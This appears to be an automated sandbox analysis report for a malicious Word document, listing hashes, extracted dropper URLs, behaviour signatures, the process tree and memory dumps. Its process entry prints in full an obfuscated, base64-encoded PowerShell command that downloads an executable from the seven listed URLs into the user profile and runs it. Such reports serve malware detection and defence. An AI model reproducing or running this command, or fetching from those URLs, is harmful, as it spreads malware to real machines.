Analysis

  • max time kernel
    137s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/05/2024, 20:24

General

  • Target

    6fbcd4336821db109a956ca955131688_JaffaCakes118.doc

  • Size

    175KB

  • MD5

    6fbcd4336821db109a956ca955131688

  • SHA1

    0197f3121c8ac4193ea76f8fdd418a05f18765a3

  • SHA256

    3c04b25b3db13173771d70f4aa9fd25006b34fc0c02f707f2dbd8f9b15938720

  • SHA512

    d40159c8fbb9bc62f9b989330c07b49789d7ffbe531b50e2e1066aeb9cac99048bea96ef28929e3aaa9cf8f242db01cb888e664e64506ac5e005e1af58b919e3

  • SSDEEP

    1536:trdi1Ir77zOH98Wj2gpngx+a90GmLtHBZ:trfrzOH98ipg6FBZ

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://haikouweixun.com/jn5/Rbp/

exe.dropper

http://carolinacanullo.com/js/hllPT/

exe.dropper

http://megasolucoesti.com/R9KDq0O8w/B3KqPpe/

exe.dropper

http://www.insulution.org/wp-admin/swift/swift/y318LGM/

exe.dropper

http://petafilm.com/calendar/6kOpwrt/

exe.dropper

https://dev.contractdevs.co.uk/hbbny/Kv9/

exe.dropper

http://blog.penmman.com/wp-content/uploads/1ECbn9K/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\6fbcd4336821db109a956ca955131688_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:884
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -encod JABOAGwAcAA3AGoAegBqAD0AKAAnAFUAegAnACsAKAAnAGwAaQAnACsAJwBwADYAYQAnACkAKQA7AC4AKAAnAG4AZQB3AC0AaQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAGUAbgB2ADoAVQBTAGUAcgBQAFIATwBmAGkAbABFAFwAWgAxAGgARgAxADMAQwBcAGoAUQA4AE0AXwA0ADUAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIAZQBjAHQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABlAGAAQwB1AGAAUgBpAHQAWQBQAFIAbwBUAG8AYwBgAE8AbAAiACAAPQAgACgAKAAnAHQAbABzADEAJwArACcAMgAnACkAKwAoACcALAAgAHQAJwArACcAbABzACcAKwAnADEAMQAnACkAKwAoACcALAAgAHQAJwArACcAbAAnACkAKwAnAHMAJwApADsAJABLADcAcAA3ADIAcAB6ACAAPQAgACgAJwBSACcAKwAnAHUAJwArACgAJwA2AG8AagByADEAaQAnACsAJwByACcAKQApADsAJABCAGQAbABqAHEAdwBiAD0AKAAoACcASgBwACcAKwAnAF8AJwApACsAKAAnADQAJwArACcAdQBrAHIAJwApACkAOwAkAFoAdABtAHEAdQBpAHcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAUwBvACcAKwAnADUAJwArACgAJwBaACcAKwAnADEAaABmADEAJwArACcAMwAnACsAJwBjAFMAbwA1ACcAKwAnAEoAcQAnACsAJwA4AG0AXwA0ADUAUwAnACkAKwAnAG8ANQAnACkALgAiAHIAYABlAHAAbABgAEEAQwBlACIAKAAoACcAUwAnACsAJwBvADUAJwApACwAWwBzAHQAcgBJAE4ARwBdAFsAQwBIAGEAUgBdADkAMgApACkAKwAkAEsANwBwADcAMgBwAHoAKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABKAGEAcgA1AGcAdABwAD0AKAAoACcAUgBwADkAJwArACcAcQAyACcAKwAnAGMAJwApACsAJwB3ACcAKQA7ACQATABmADMAcABwAHcAZgA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBlAFQALgBXAGUAYgBDAEwASQBlAE4AVAA7ACQASwBvAGUAMQBlADUAMgA9ACgAKAAnAGgAdAB0AHAAJwArACcAcwA6ACcAKQArACgAJwAvAC8AaAAnACsAJwBhACcAKwAnAGkAawBvAHUAJwApACsAKAAnAHcAZQBpAHgAJwArACcAdQAnACkAKwAoACcAbgAnACsAJwAuAGMAJwArACcAbwBtAC8AagAnACkAKwAoACcAbgAnACsAJwA1AC8AJwApACsAJwBSACcAKwAoACcAYgBwACcAKwAnAC8AJwApACsAKAAnACoAaAAnACsAJwB0ACcAKQArACgAJwB0AHAAJwArACcAOgAvAC8AYwBhAHIAJwArACcAbwBsAGkAJwApACsAJwBuACcAKwAoACcAYQBjACcAKwAnAGEAJwArACcAbgB1AGwAJwApACsAKAAnAGwAbwAnACsAJwAuACcAKQArACgAJwBjAG8AbQAnACsAJwAvAGoAJwArACcAcwAvAGgAJwArACcAbABsAFAAJwArACcAVAAvACoAaAB0ACcAKQArACcAdAAnACsAKAAnAHAAOgAnACsAJwAvAC8AbQAnACkAKwAnAGUAJwArACcAZwAnACsAKAAnAGEAJwArACcAcwBvACcAKwAnAGwAdQBjAG8AZQBzACcAKQArACcAdAAnACsAKAAnAGkALgBjAG8AbQAvAFIAJwArACcAOQBLACcAKQArACgAJwBEAHEAMABPADgAdwAnACsAJwAvAEIAJwArACcAMwAnACkAKwAoACcASwAnACsAJwBxAFAAcABlAC8AKgAnACkAKwAnAGgAJwArACgAJwB0AHQAcAAnACsAJwA6ACcAKQArACgAJwAvAC8AJwArACcAdwAnACkAKwAoACcAdwAnACsAJwB3AC4AJwApACsAKAAnAGkAJwArACcAbgBzAHUAbAAnACkAKwAnAHUAJwArACcAdABpACcAKwAoACcAbwAnACsAJwBuAC4AbwByAGcAJwApACsAJwAvAHcAJwArACcAcAAtACcAKwAnAGEAJwArACgAJwBkAG0AJwArACcAaQAnACkAKwAnAG4AJwArACcALwBzACcAKwAoACcAdwAnACsAJwBpAGYAJwApACsAKAAnAHQALwAnACsAJwBzAHcAaQBmAHQAJwApACsAJwAvACcAKwAoACcAeQAzADEAJwArACcAOABMACcAKQArACgAJwBHACcAKwAnAE0ALwAqAGgAdAB0AHAAJwArACcAOgAvACcAKwAnAC8AJwApACsAKAAnAHAAZQB0ACcAKwAnAGEAJwApACsAJwBmACcAKwAoACcAaQAnACsAJwBsAG0ALgAnACkAKwAnAGMAJwArACgAJwBvAG0ALwBjAGEAbABlAG4AZABhACcAKwAnAHIALwAnACsAJwA2ACcAKQArACcAawAnACsAKAAnAE8AcAB3AHIAdAAvACcAKwAnACoAJwArACcAaAAnACkAKwAnAHQAJwArACgAJwB0ACcAKwAnAHAAJwArACcAcwA6AC8ALwAnACkAKwAnAGQAJwArACcAZQAnACsAKAAnAHYALgBjAG8AbgB0AHIAJwArACcAYQBjAHQAZAAnACsAJwBlAHYAcwAuACcAKwAnAGMAbwAnACkAKwAnAC4AdQAnACsAKAAnAGsALwAnACsAJwBoACcAKQArACcAYgAnACsAKAAnAGIAbgB5AC8AJwArACcASwAnACsAJwB2ADkALwAnACsAJwAqACcAKQArACgAJwBoAHQAJwArACcAdABwACcAKQArACgAJwA6AC8ALwAnACsAJwBiAGwAJwApACsAJwBvACcAKwAnAGcALgAnACsAKAAnAHAAJwArACcAZQBuAG0AbQAnACsAJwBhAG4ALgBjAG8AJwArACcAbQAnACkAKwAoACcALwB3AHAALQBjACcAKwAnAG8AJwArACcAbgB0ACcAKQArACcAZQAnACsAKAAnAG4AdAAvACcAKwAnAHUAJwApACsAKAAnAHAAJwArACcAbABvACcAKQArACgAJwBhAGQAcwAvADEARQBDACcAKwAnAGIAbgA5ACcAKwAnAEsAJwApACsAJwAvACcAKQAuACIAcwBQAGAAbABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABLAHMAdwBmADUAcwBqAD0AKAAoACcARgBfAHMAdwAnACsAJwA1ACcAKQArACcANwBhACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEYAbgBvADUAZQBxAHcAIABpAG4AIAAkAEsAbwBlADEAZQA1ADIAKQB7AHQAcgB5AHsAJABMAGYAMwBwAHAAdwBmAC4AIgBEAG8AYAB3AG4ATABgAG8AYQBEAGYAaQBgAEwAZQAiACgAJABGAG4AbwA1AGUAcQB3ACwAIAAkAFoAdABtAHEAdQBpAHcAKQA7ACQAWABnAGQAegAyAHgAdgA9ACgAKAAnAFIAaAB2AGEAJwArACcAegB3ACcAKQArACcAegAnACkAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJAHQAZQBtACcAKQAgACQAWgB0AG0AcQB1AGkAdwApAC4AIgBsAGUAbgBgAGcAdABIACIAIAAtAGcAZQAgADIANQA4ADgAMAApACAAewAuACgAJwBJAG4AJwArACcAdgBvAGsAJwArACcAZQAtAEkAdAAnACsAJwBlAG0AJwApACgAJABaAHQAbQBxAHUAaQB3ACkAOwAkAFUAbwBjAHkAbABpADYAPQAoACcAVQB4ACcAKwAoACcAaABhADUAJwArACcAawA1ACcAKQApADsAYgByAGUAYQBrADsAJABKAHQAdgAwADgAcQAzAD0AKAAnAEIAJwArACgAJwByAHcAJwArACcAOQBpAGEAdgAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARgAzAGIAcwA5ADkAdwA9ACgAJwBHADkAJwArACcAMABhACcAKwAoACcAbwB0ACcAKwAnADUAJwApACkA
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1948

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Temp\TCD8A99.tmp\sist02.xsl

          Filesize

          245KB

          MD5

          f883b260a8d67082ea895c14bf56dd56

          SHA1

          7954565c1f243d46ad3b1e2f1baf3281451fc14b

          SHA256

          ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

          SHA512

          d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g12qoy2e.4uk.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/884-19-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

          Filesize

          2.0MB

        • memory/884-18-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

          Filesize

          2.0MB

        • memory/884-4-0x00007FFC05A50000-0x00007FFC05A60000-memory.dmp

          Filesize

          64KB

        • memory/884-5-0x00007FFC45A6D000-0x00007FFC45A6E000-memory.dmp

          Filesize

          4KB

        • memory/884-6-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

          Filesize

          2.0MB

        • memory/884-7-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

          Filesize

          2.0MB

        • memory/884-10-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

          Filesize

          2.0MB

        • memory/884-9-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

          Filesize

          2.0MB

        • memory/884-11-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

          Filesize

          2.0MB

        • memory/884-8-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

          Filesize

          2.0MB

        • memory/884-17-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

          Filesize

          2.0MB

        • memory/884-13-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

          Filesize

          2.0MB

        • memory/884-14-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

          Filesize

          2.0MB

        • memory/884-16-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

          Filesize

          2.0MB

        • memory/884-15-0x00007FFC039A0000-0x00007FFC039B0000-memory.dmp

          Filesize

          64KB

        • memory/884-20-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

          Filesize

          2.0MB

        • memory/884-1-0x00007FFC05A50000-0x00007FFC05A60000-memory.dmp

          Filesize

          64KB

        • memory/884-0-0x00007FFC05A50000-0x00007FFC05A60000-memory.dmp

          Filesize

          64KB

        • memory/884-12-0x00007FFC039A0000-0x00007FFC039B0000-memory.dmp

          Filesize

          64KB

        • memory/884-31-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

          Filesize

          2.0MB

        • memory/884-35-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

          Filesize

          2.0MB

        • memory/884-605-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

          Filesize

          2.0MB

        • memory/884-3-0x00007FFC05A50000-0x00007FFC05A60000-memory.dmp

          Filesize

          64KB

        • memory/884-604-0x00007FFC05A50000-0x00007FFC05A60000-memory.dmp

          Filesize

          64KB

        • memory/884-2-0x00007FFC05A50000-0x00007FFC05A60000-memory.dmp

          Filesize

          64KB

        • memory/884-563-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

          Filesize

          2.0MB

        • memory/884-573-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

          Filesize

          2.0MB

        • memory/884-574-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

          Filesize

          2.0MB

        • memory/884-601-0x00007FFC05A50000-0x00007FFC05A60000-memory.dmp

          Filesize

          64KB

        • memory/884-602-0x00007FFC05A50000-0x00007FFC05A60000-memory.dmp

          Filesize

          64KB

        • memory/884-603-0x00007FFC05A50000-0x00007FFC05A60000-memory.dmp

          Filesize

          64KB

        • memory/1948-580-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

          Filesize

          2.0MB

        • memory/1948-89-0x00000192B96B0000-0x00000192B96D2000-memory.dmp

          Filesize

          136KB

        • memory/1948-79-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

          Filesize

          2.0MB